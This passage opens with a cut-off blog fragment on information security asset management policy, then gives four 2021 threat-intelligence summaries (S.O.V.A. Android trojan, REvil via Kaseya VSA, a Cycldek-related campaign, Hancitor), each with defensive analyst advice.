then, perhaps the standard is suggesting a policy on the information security aspects involved in managing information assets, by which I mean both the intangible information content and (as applicable) the physical storage media and processing/communications systems such as hard drives and computer networks?Seeking inspiration, Googling 'information security asset management policy' found me a policy by Sefton Council along those lines: with about 4 full pages of content, it covers security aspects of both the information content and IT systems, more specifically information ownership, valuation and acceptable use:1.2. Policy Statement The purpose of this policy is to achieve and maintain appropriate protection of organisational assets. It does this by ensuring that every information asset has an owner and that the nature and value of each asset is fully understood. It also ensures that the boundaries of acceptable use are clearly defined for anyone that has access to |

S.O.V.A. – A New Android Banking Trojan with Fowl Intentions
(published: September 10, 2021)
ThreatFabric researchers have discovered a new Android banking trojan called S.O.V.A. The malware is still in the development and testing phase and the threat actor is publicly-advertising S.O.V.A. for trial runs targeting banks to improve its functionality. The trojan’s primary objective is to steal personally identifiable information (PII). This is conducted through overlay attacks, keylogging, man-in-the-middle attacks, and session cookies theft, among others. The malware author is also working on other features such as distributed denial-of-service (DDoS) and ransomware on S.O.V.A.’s project roadmap.
Analyst Comment: Always keep your mobile phone fully patched with the latest security updates. Only use official locations such as the Google Play Store / Apple App Store to obtain your software, and avoid downloading applications, even if they appear legitimate, from third-party stores. Furthermore, always review the permissions an app will request upon installation.

Shutdown Kaseya VSA Servers Now Amidst Cascading REvil Attack Against MSPs, Clients
(published: July 4, 2021)
A severe ransomware attack reportedly took place against the popular remote monitoring and management (RMM) software tool Kaseya VSA. On July 2, 2021, Kaseya urged users to shut down their VSA servers to prevent them from being compromised. The company estimated that fewer than 40 of their customers worldwide were affected, but as some of them were managed service providers (MSPs), over 1,000 businesses were infected. The majority of known victims are in the US with some in Europe (Sweden) and New Zealand. The attackers exploited a zero-day vulnerability in Kaseya’s systems that the company was in the process of fixing. It was part of the administrative interface vulnerabilities in tools for system administration previously identified by Wietse Boonstra, a DIVD researcher. The REvil payload was delivered via Kaseya software using a custom dropper that dropped two files. A dropper opens an old but legitimate copy of Windows Defender (MsMpEng.exe) that then side loads and executes the custom malicious loader's export. The attack coincided with the start of the US Independence Day weekend, and has several politically-charged strings, such as “BlackLivesMatter” Windows registry key and “DTrump4ever” as a password.
Analyst Comment: Kaseya VSA clients should safely follow the company’s recommendations as it advised shutting Kaseya VSA servers down, and is making new security updates available. Every organization should have a ransomware disaster recovery plan even if it is serviced by a managed service provider (MSP).

The Leap of a Cycldek-Related Threat Actor
(published: April 5, 2021)
A new sophisticated Chinese campaign was observed between June 2020 and January 2021, targeting government, military and other critical industries in Vietnam, and, to lesser extent, in Central Asia and Thailand. This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.
Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool
(published: April 1, 2021)
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe or TA511. Initial infection includes target clicking malspam, then clicking on a link in an opened Google Docs page, and finally clicking to enable macros in the downloaded Word document. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic.
Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.
